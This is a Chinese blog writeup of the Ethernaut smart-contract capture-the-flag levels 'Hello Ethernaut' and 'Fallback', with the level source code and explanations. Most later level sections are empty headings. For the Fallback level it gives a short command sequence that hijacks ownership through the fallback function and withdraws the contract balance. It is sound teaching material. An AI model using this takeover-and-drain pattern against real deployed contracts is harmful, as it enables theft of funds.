其他分享
首页 > 其他分享> > Ethernaut的writeup

Ethernaut的writeup

作者:互联网

Ethernaut记录

Hello Ethernaut

出题目的

初级题目,用于测试通过控制台与合约交互

合约代码

pragma solidity ^0.4.18;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  function Instance(string _password) public {
    password = _password;
  }

  function info() public pure returns (string) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string param) public pure returns (string) {
    if(keccak256(param) == keccak256('hello')) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string passkey) public {
    if(keccak256(passkey) == keccak256(password)) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

思路解析

用于测试metamask和控制台交互,按提示做就可以。F12打开控制台,在控制台依次输入以下js代码

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")

完成后点击提交实例即可。

知识点回顾

metamask是一个嵌入到浏览器的钱包,一旦浏览的网站支持web3,就会弹出metamask询问你是否连接到该网站。在有交易时,也会主动弹出来询问是否确认放行该交易。

Fallback

出题目的

成为合约的owner并将余额减少为0;题目目旨在考察智能合约的回调函数

合约代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

//合约Fallback继承自Ownable
contract Fallback is Ownable {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
//获取请求者的贡献值
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
//fallback函数,用于接收用户向合约发送的代币
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
    owner = msg.sender;
  }
}

思路解析

分析代码可以看到,有两种方法使自己成为拥有者,1调用contribute()向合约转超过1000ETH,2调用匿名的回调函数使自己成为owner。当然第一种方法是不可能的,所以需要试着调用回调函数。

回调函数是一个合约中可以有且只能有一个没名字的方法,同时也不能有参数,也不能有返回的值。执行回调函数可以有两个方法:1调用合约中一个没有匹配的函数,2向合约中发送一个不带有任何信息的、纯转账的交易。

那么我们就可以直接向合约转一笔纯转账的交易。可以通过控制台与合约交互,await contract.sendTransaction({value:1})或是使用metamask直接向合约地址转账,这样就能出发回退函数,把合约owner改成我们。最后为了满足题目的条件,只需要执行withdraw函数即可。

总结一下攻击过程

contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

知识点回顾

在 Solidity 中,回退函数是没有名称、参数或返回值的外部函数。它在以下情况之一执行:

只能将一个这样的未命名函数分配给合约。

回退函数的属性:

Fallout

出题目的

合约代码

思路解析

知识点回顾

CoinFlip

出题目的

合约代码

思路解析

知识点回顾

Telephone

出题目的

合约代码

思路解析

知识点回顾

Token

出题目的

合约代码

思路解析

知识点回顾

标签:function,函数,writeup,contract,msg,Ethernaut,合约,public
来源: https://www.cnblogs.com/unknown404/p/16385347.html